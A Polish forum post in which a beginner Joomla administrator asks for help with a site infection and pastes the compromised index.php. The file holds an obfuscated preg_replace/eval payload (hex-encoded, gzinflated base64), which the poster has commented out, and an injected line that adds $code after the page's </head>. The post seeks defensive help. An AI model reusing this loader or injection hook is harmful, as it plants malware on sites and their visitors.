Może opiszę problem w skrócie - nie jestem alfą i omegą z joomlą a więc zwracam się do was o pomoc - od jakiegoś czasu pojawia mi się błąd a może bardziej wirus w kodzie strony nie wiem jak to się stało ale coś jest nie tak. Zaczęło się od "wysypania skryptu jednego z modułów strony" - plik w załączniku - jakoś poszperałem w skrypcie i udało mi się usunąć ten kod z poziomu administracji z katalogu templates/mojatemplatka/index.php tak że widziany w załączniku wysypany skrypt zniknął. Po ty zaczełem dostawać sygnały, że program Avast pokazuje, że na głównej stronie jest wirus a więc postanowiłem nadpisać poprawnym plikiem index.php. po tej operacji wróciliśmy do punktu pierwszego czyli wysypanego skryptu na głównej stronie portalu (załącznik), który o dziwo raz się pojawia raz znika .
Mój hosting pisze cytuję
Kod:
Witam,
To nie wina serwera proszę kontaktować się z webmasterem.
Pozdrawiam,
Dla pomocy wklejam "dziwny" kod z plików index.php i index2.php
index.php
Kod:
<?php
/**
* @version $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
* @package Joomla
* @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
/////////////////////////////////////// fragment do usunięcia ///////////////////////////////////////
//preg_replace("/.+/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'nVVtb9owEP5Mf4Ur0TqZIJRp2qSiiKGStkgtMBP2IoqikLgkWkgix/RlFf99ZzuEAqGdBh9IfM/d89z57phTttD01tH9MvZ4mMRoLg/Qy1Gl6k5wmOIpkh8TLDxMBVZalizKTdIyZpEyee7MZX4YwzFuPz6aWBz6ppZxliaZVrjWEI6SJMX6sWneu1FG9TZnS3oun8EnvNeqvv5CvSDRcKHOc6OI+hNsFHEMCCXe17zwjvXWSgRA+6QFTDdzWnR6ivZgOJknJi4wshzbisL4wY1CHwm8pKswypcsBuWrXfGUe8EGKFiCJOOqeib6WnVGFvlukQlWv06/c2vhaV5nd05jhd2CXtv20BnDm9O5svp2AWf0njLKwGEfTqxLi1hEYeksSpQAHHCenjcasyTKAsqZO4uMmPIGm/uNcLGMEyMN0rbvctfExszN6OdPDo29xKdaRlkIZfhDoXa6uv5AEHuQrRPGIdckj67u8xisJaXMEu835cgPM2Cmfkk5VbyM8iSFiF5QQxdjcjMY2pCSPSZ9m3T6I8it1hRMh9F279YajO0aap7pLSTUFmLpE/UEWN+03oPLHH+5SOFYb0mpCslYwiS0aDNIrCQvukj5M2I0W0Zw22VNsmlQD8ahXlfWev3VUKCX3CV3SBmdOwsXOkrDJ3eT9G6qGR/a+t2kAY8nIYYOr1XBRVeCKHSpJt4nzalIrUKfQq7opUiR2lF+uDp6vQXkrIsYgjWMHZcx91nbdBSxbge25XS6XSKGWZlx8+MX4wy+TSznG8ZVtrqur+sDsTK4Gm2nNX86lwPyo0O6Vlc84WnukBcMvQcXqa1kWnsOW0L3spR7q0izRNoItIgdsXeKTBidJMZKaDXzArqg63HKxNpbISoWTIkZqyuoiuLAWWlJrgcjW3C3d5NXBnSODi+OsmSI9W1sjWxnTHp5ecX4V6rQ0yAhF2hgWASwTYUw44BvSzqq5MqJuj1iXdjO6IL0hq8JKwXb2+DWgVYpwKCG/HJGNun1rza9IoMb4n8HG+86rTvmjTR261X5r2K9SZFLg/204UhdHpTXSMJa7+gQ7jvN9y+qh9dDeL65FP+oW/XbK9urIYPAYqL+Ag=='\x29\x29\x29\x3B",".");
/////////////////////////////////// koniec fragmentu do usuniecia ///////////////////////////////////////////////////
// Set flag that this is a parent file
define( '_JEXEC', 1 );
define('JPATH_BASE', dirname(__FILE__) );
define( 'DS', DIRECTORY_SEPARATOR );
require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');
/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
// set the language
$mainframe->initialise();
JPluginHelper::importPlugin('system');
// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');
/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();
// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);
// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');
/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);
// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');
/**
* RENDER THE APPLICATION
*
* NOTE :
*/
$mainframe->render();
// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');
/**
* RETURN THE RESPONSE
*/
$JResp = JResponse::toString($mainframe->getCfg('gzip'));
/*rrt*/
$JResp = str_ireplace("</head>", "</head>".$code, $JResp);
echo $JResp;
index2.php
Kod:
<?php
/**
* @version $Id: index2.php 10381 2008-06-01 03:35:53Z pasamio $
* @package Joomla
* @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
$_REQUEST['tmpl'] = 'component';
include('index.php');
Acha wykrywa tego "trojana" pod AVG i Kapserskym. Proszęr o pomoc gdyz jestem "raczkującym" administratorem w sprawach joomli
Pozdrawiam